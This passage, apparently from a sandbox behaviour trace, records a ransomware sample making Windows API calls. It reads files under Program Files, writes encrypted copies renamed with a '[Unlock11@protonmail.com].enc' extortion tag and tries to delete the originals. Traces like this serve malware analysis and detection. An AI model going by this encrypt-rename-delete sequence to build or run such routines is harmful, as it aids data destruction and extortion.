hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0120.779] GetCurrentThreadId () returned 0x9b0 [0120.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.779] GetLastError () returned 0x0 [0120.779] GetLastError () returned 0x0 [0120.780] GetCurrentThreadId () returned 0x9b0 [0120.780] GetLastError () returned 0x0 [0120.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.780] GetLastError () returned 0x0 [0120.780] GetLastError () returned 0x0 [0120.780] GetCurrentThreadId () returned 0x9b0 [0120.780] GetLastError () returned 0x0 [0120.780] GetLastError () returned 0x0 [0120.783] GetLastError () returned 0x0 [0120.783] GetCurrentThreadId () returned 0x9b0 [0120.783] GetLastError () returned 0x0 [0120.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0120.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.784] GetLastError () returned 0x0 [0120.784] GetLastError () returned 0x0 [0120.784] GetLastError () returned 0x0 [0120.784] GetLastError () returned 0x0 [0120.784] GetCurrentThreadId () returned 0x9b0 [0120.784] GetLastError () returned 0x0 [0120.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0120.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0120.785] GetLastError () returned 0x0 [0120.787] GetLastError () returned 0x0 [0120.787] GetCurrentThreadId () returned 0x9b0 [0120.787] GetLastError () returned 0x0 [0120.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.787] GetCurrentThreadId () returned 0x9b0 [0120.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.787] GetLastError () returned 0x0 [0120.788] GetLastError () returned 0x0 [0120.789] GetCurrentThreadId () returned 0x9b0 [0120.789] GetLastError () returned 0x0 [0120.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0120.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.789] GetLastError () returned 0x0 [0120.789] GetLastError () returned 0x0 [0120.790] GetLastError () returned 0x0 [0120.790] GetLastError () returned 0x0 [0120.790] GetCurrentThreadId () returned 0x9b0 [0120.790] GetLastError () returned 0x0 [0120.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.790] GetLastError () returned 0x0 [0120.791] GetLastError () returned 0x0 [0120.792] GetCurrentThreadId () returned 0x9b0 [0120.792] GetLastError () returned 0x0 [0120.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.792] GetLastError () returned 0x0 [0120.794] GetLastError () returned 0x0 [0120.794] GetCurrentThreadId () returned 0x9b0 [0120.794] GetLastError () returned 0x0 [0120.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.794] GetCurrentThreadId () returned 0x9b0 [0120.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0120.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.795] GetLastError () returned 0x0 [0120.795] GetLastError () returned 0x0 [0120.795] GetLastError () returned 0x0 [0120.795] GetLastError () returned 0x0 [0120.795] GetCurrentThreadId () returned 0x9b0 [0120.795] GetLastError () returned 0x0 [0120.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.796] GetLastError () returned 0x0 [0120.797] GetLastError () returned 0x0 [0120.797] GetCurrentThreadId () returned 0x9b0 [0120.797] GetLastError () returned 0x0 [0120.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.797] GetLastError () returned 0x0 [0120.798] GetLastError () returned 0x0 [0120.798] GetLastError () returned 0x0 [0120.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.799] GetLastError () returned 0x0 [0120.799] GetLastError () returned 0x0 [0120.799] GetLastError () returned 0x0 [0120.799] GetLastError () returned 0x0 [0120.799] GetLastError () returned 0x0 [0120.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0120.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0120.800] GetLastError () returned 0x0 [0120.801] GetLastError () returned 0x0 [0120.801] GetLastError () returned 0x0 [0120.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.802] GetLastError () returned 0x0 [0120.802] GetLastError () returned 0x0 [0120.802] GetLastError () returned 0x0 [0120.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0120.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0120.802] GetLastError () returned 0x0 [0120.803] GetLastError () returned 0x0 [0120.803] GetLastError () returned 0x0 [0120.803] GetLastError () returned 0x0 [0120.803] GetLastError () returned 0x0 [0120.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0120.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.803] GetLastError () returned 0x0 [0120.805] GetLastError () returned 0x0 [0120.806] GetLastError () returned 0x0 [0120.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.806] GetLastError () returned 0x0 [0120.806] GetLastError () returned 0x0 [0120.806] GetLastError () returned 0x0 [0120.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x9a15) returned 0x36f8548 [0120.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0120.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0120.807] GetLastError () returned 0x0 [0120.807] GetLastError () returned 0x0 [0120.807] GetLastError () returned 0x0 [0120.807] GetLastError () returned 0x0 [0120.807] GetLastError () returned 0x0 [0120.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3701f68 | out: hHeap=0x2ad0000) returned 1 [0120.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.808] GetLastError () returned 0x0 [0120.808] GetLastError () returned 0x0 [0120.808] GetLastError () returned 0x0 [0120.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.809] GetLastError () returned 0x0 [0120.809] GetLastError () returned 0x0 [0120.809] GetLastError () returned 0x0 [0120.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.809] GetLastError () returned 0x0 [0120.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.810] CloseHandle (hObject=0x3ac) returned 1 [0120.810] GetLastError () returned 0x0 [0120.810] GetLastError () returned 0x0 [0120.810] GetLastError () returned 0x0 [0120.810] CloseHandle (hObject=0x39c) returned 1 [0120.810] GetLastError () returned 0x0 [0120.810] GetLastError () returned 0x0 [0120.810] GetLastError () returned 0x0 [0120.811] GetLastError () returned 0x0 [0120.811] GetLastError () returned 0x0 [0120.811] GetLastError () returned 0x0 [0120.811] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0 [0120.811] GetLastError () returned 0x5 [0120.811] GetLastError () returned 0x5 [0120.811] GetLastError () returned 0x5 [0120.811] GetLastError () returned 0x5 [0120.811] GetLastError () returned 0x5 [0120.812] LocalFree (hMem=0x1053a70) returned 0x0 [0120.812] GetLastError () returned 0x5 [0120.812] GetLastError () returned 0x5 [0120.812] GetLastError () returned 0x5 [0120.812] GetLastError () returned 0x5 [0120.812] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", lpFilePart=0x9bada4*="ipsar.xml") returned 0x3c [0120.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0120.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0120.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0120.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0120.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabe8 [0120.813] GetLastError () returned 0x0 [0120.813] GetLastError () returned 0x0 [0120.813] GetLastError () returned 0x0 [0120.813] GetLastError () returned 0x0 [0120.813] GetLastError () returned 0x0 [0120.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabe8 | out: hHeap=0x2ad0000) returned 1 [0120.813] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] GetLastError () returned 0x0 [0120.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0120.814] GetLastError () returned 0x0 [0120.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.815] GetLastError () returned 0x0 [0120.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0120.816] GetLastError () returned 0x0 [0120.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.816] GetLastError () returned 0x0 [0120.817] GetLastError () returned 0x0 [0120.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.817] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972)) returned 1 [0120.817] GetLastError () returned 0x0 [0120.817] GetLastError () returned 0x0 [0120.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0120.817] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0120.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0120.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0120.818] GetLastError () returned 0x0 [0120.818] GetLastError () returned 0x0 [0120.818] GetLastError () returned 0x0 [0120.818] GetLastError () returned 0x0 [0120.818] GetLastError () returned 0x0 [0120.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0120.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa80 [0120.818] GetLastError () returned 0x0 [0120.818] GetLastError () returned 0x0 [0120.819] GetLastError () returned 0x0 [0120.819] GetLastError () returned 0x0 [0120.819] GetLastError () returned 0x0 [0120.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa80 | out: hHeap=0x2ad0000) returned 1 [0120.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652a8 [0120.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.819] GetLastError () returned 0x0 [0120.819] GetLastError () returned 0x0 [0120.819] GetLastError () returned 0x0 [0120.820] GetLastError () returned 0x0 [0120.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0120.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265368 [0120.820] GetLastError () returned 0x0 [0120.820] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.820] GetFileType (hFile=0x39c) returned 0x1 [0120.821] GetLastError () returned 0x0 [0120.821] GetLastError () returned 0x0 [0120.821] GetFileType (hFile=0x39c) returned 0x1 [0120.821] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.821] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.821] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.821] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.821] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.821] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.821] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.821] GetLastError () returned 0x0 [0120.822] GetCurrentThreadId () returned 0x9b0 [0120.822] GetLastError () returned 0x0 [0120.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0120.822] GetLastError () returned 0x0 [0120.822] GetLastError () returned 0x0 [0120.822] GetLastError () returned 0x0 [0120.822] GetLastError () returned 0x0 [0120.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0120.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652e8 [0120.822] GetLastError () returned 0x0 [0120.822] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.824] GetFileType (hFile=0x3ac) returned 0x1 [0120.824] GetLastError () returned 0x0 [0120.824] GetCurrentThreadId () returned 0x9b0 [0120.824] GetLastError () returned 0x0 [0120.824] GetFileType (hFile=0x3ac) returned 0x1 [0120.824] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.824] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.824] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.824] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.824] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.825] GetLastError () returned 0x0 [0120.825] GetCurrentThreadId () returned 0x9b0 [0120.825] GetLastError () returned 0x0 [0120.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0120.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0120.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.825] GetLastError () returned 0x0 [0120.825] GetLastError () returned 0x0 [0120.825] GetCurrentThreadId () returned 0x9b0 [0120.826] GetLastError () returned 0x0 [0120.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.826] GetLastError () returned 0x0 [0120.826] GetLastError () returned 0x0 [0120.826] GetCurrentThreadId () returned 0x9b0 [0120.826] GetLastError () returned 0x0 [0120.826] GetLastError () returned 0x0 [0120.828] GetLastError () returned 0x0 [0120.828] GetCurrentThreadId () returned 0x9b0 [0120.828] GetLastError () returned 0x0 [0120.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x987) returned 0x35c5908 [0120.828] GetCurrentThreadId () returned 0x9b0 [0120.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x995) returned 0x35c5908 [0120.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0120.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x998) returned 0x35be9f8 [0120.829] GetLastError () returned 0x0 [0120.829] GetLastError () returned 0x0 [0120.829] GetLastError () returned 0x0 [0120.829] GetLastError () returned 0x0 [0120.829] GetCurrentThreadId () returned 0x9b0 [0120.829] GetLastError () returned 0x0 [0120.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0120.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0120.829] GetLastError () returned 0x0 [0120.830] GetLastError () returned 0x0 [0120.830] GetCurrentThreadId () returned 0x9b0 [0120.830] GetLastError () returned 0x0 [0120.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf398 | out: hHeap=0x2ad0000) returned 1 [0120.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c62a8 [0120.830] GetLastError () returned 0x0 [0120.830] GetLastError () returned 0x0 [0120.830] GetCurrentThreadId () returned 0x9b0 [0120.830] GetLastError () returned 0x0 [0120.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c62a8 | out: hHeap=0x2ad0000) returned 1 [0120.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.831] GetLastError () returned 0x0 [0120.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.832] CloseHandle (hObject=0x3ac) returned 1 [0120.832] GetLastError () returned 0x0 [0120.832] GetCurrentThreadId () returned 0x9b0 [0120.832] GetLastError () returned 0x0 [0120.832] GetLastError () returned 0x0 [0120.832] CloseHandle (hObject=0x39c) returned 1 [0120.832] GetLastError () returned 0x0 [0120.833] GetCurrentThreadId () returned 0x9b0 [0120.833] GetLastError () returned 0x0 [0120.833] GetCurrentThreadId () returned 0x9b0 [0120.833] GetLastError () returned 0x0 [0120.833] GetLastError () returned 0x0 [0120.833] GetLastError () returned 0x0 [0120.833] GetLastError () returned 0x0 [0120.833] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0 [0120.833] GetLastError () returned 0x5 [0120.833] GetCurrentThreadId () returned 0x9b0 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] LocalFree (hMem=0x1053a70) returned 0x0 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] GetLastError () returned 0x5 [0120.834] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", lpFilePart=0x9bada4*="ipscat.xml") returned 0x3d [0120.835] GetCurrentThreadId () returned 0x9b0 [0120.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0120.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0120.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0120.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0120.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0120.835] GetLastError () returned 0x0 [0120.836] GetLastError () returned 0x0 [0120.836] GetLastError () returned 0x0 [0120.836] GetLastError () returned 0x0 [0120.836] GetCurrentThreadId () returned 0x9b0 [0120.836] GetLastError () returned 0x0 [0120.836] GetCurrentThreadId () returned 0x9b0 [0120.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0120.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea990 [0120.836] GetLastError () returned 0x0 [0120.836] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetCurrentThreadId () returned 0x9b0 [0120.837] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetLastError () returned 0x0 [0120.837] GetCurrentThreadId () returned 0x9b0 [0120.837] GetLastError () returned 0x0 [0120.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea990 | out: hHeap=0x2ad0000) returned 1 [0120.838] GetLastError () returned 0x0 [0120.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0120.838] GetLastError () returned 0x0 [0120.838] GetLastError () returned 0x0 [0120.838] GetLastError () returned 0x0 [0120.838] GetCurrentThreadId () returned 0x9b0 [0120.838] GetLastError () returned 0x0 [0120.838] 